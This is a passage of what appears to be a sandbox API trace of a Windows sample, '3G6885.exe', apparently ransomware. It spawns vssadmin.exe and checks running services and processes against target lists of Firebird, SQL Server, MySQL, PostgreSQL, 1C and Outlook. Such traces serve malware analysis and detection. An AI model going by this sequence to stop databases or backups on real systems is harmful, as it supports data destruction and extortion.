th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0049.853] lstrlenW (lpString="3G6885.exe") returned 10 [0049.853] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.854] lstrlenW (lpString="cmd.exe") returned 7 [0049.854] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.855] lstrlenW (lpString="conhost.exe") returned 11 [0049.855] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.856] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.856] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.856] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.856] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0049.857] CloseHandle (hObject=0x204) returned 1 [0049.857] Sleep (dwMilliseconds=0x1f4) [0050.489] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640210 [0050.489] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0050.490] GetLastError () returned 0xea [0050.490] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x123e) returned 0x36b4738 [0050.490] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b4738, cbBufSize=0x123e, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b4738, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0050.491] CloseServiceHandle (hSCObject=0x640210) returned 1 [0050.491] lstrlenW (lpString="Appinfo") returned 7 [0050.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.491] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.491] lstrlenW (lpString="AudioSrv") returned 8 [0050.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.492] lstrlenW (lpString="BFE") returned 3 [0050.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.492] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.492] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.492] lstrlenW (lpString="CryptSvc") returned 8 [0050.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.492] lstrlenW (lpString="CscService") returned 10 [0050.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.492] lstrlenW (lpString="DcomLaunch") returned 10 [0050.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.492] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.492] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.492] lstrlenW (lpString="Dhcp") returned 4 [0050.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.493] lstrlenW (lpString="Dnscache") returned 8 [0050.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.493] lstrlenW (lpString="DPS") returned 3 [0050.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.493] lstrlenW (lpString="eventlog") returned 8 [0050.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.493] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.493] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.493] lstrlenW (lpString="EventSystem") returned 11 [0050.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.493] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.494] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.494] lstrlenW (lpString="gpsvc") returned 5 [0050.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.494] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.494] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.494] lstrlenW (lpString="iphlpsvc") returned 8 [0050.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.494] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.494] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.494] lstrlenW (lpString="LanmanServer") returned 12 [0050.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.494] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.494] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.494] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.494] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.494] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.495] lstrlenW (lpString="lmhosts") returned 7 [0050.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.495] lstrlenW (lpString="MMCSS") returned 5 [0050.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.495] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.495] lstrlenW (lpString="MpsSvc") returned 6 [0050.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.495] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.495] lstrlenW (lpString="Netman") returned 6 [0050.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.496] lstrlenW (lpString="netprofm") returned 8 [0050.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.496] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.496] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.496] lstrlenW (lpString="NlaSvc") returned 6 [0050.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.496] lstrlenW (lpString="nsi") returned 3 [0050.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.496] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.496] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.496] lstrlenW (lpString="PcaSvc") returned 6 [0050.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.496] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.496] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.496] lstrlenW (lpString="PlugPlay") returned 8 [0050.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.497] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.497] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.497] lstrlenW (lpString="Power") returned 5 [0050.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.497] lstrlenW (lpString="ProfSvc") returned 7 [0050.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.497] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.497] lstrlenW (lpString="RpcSs") returned 5 [0050.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.498] lstrlenW (lpString="SamSs") returned 5 [0050.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.498] lstrlenW (lpString="Schedule") returned 8 [0050.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.498] lstrlenW (lpString="SENS") returned 4 [0050.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.498] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.498] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.498] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.498] lstrlenW (lpString="Spooler") returned 7 [0050.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.499] lstrlenW (lpString="SysMain") returned 7 [0050.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.499] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.499] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.499] lstrlenW (lpString="Themes") returned 6 [0050.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.499] lstrlenW (lpString="TrkWks") returned 6 [0050.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.499] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.499] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.499] lstrlenW (lpString="UxSms") returned 5 [0050.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.499] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.500] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.500] lstrlenW (lpString="VSS") returned 3 [0050.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.500] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.500] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.500] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.500] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.500] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.500] lstrlenW (lpString="Winmgmt") returned 7 [0050.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.501] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.501] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.501] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.501] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b4738 | out: hHeap=0x5a0000) returned 1 [0050.501] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0050.504] Process32FirstW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.504] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.505] lstrlenW (lpString="System") returned 6 [0050.505] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.505] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.505] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.505] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.505] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.505] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.505] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.505] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.506] lstrlenW (lpString="smss.exe") returned 8 [0050.506] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.506] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.506] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.506] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.506] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.506] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.506] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.506] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.507] lstrlenW 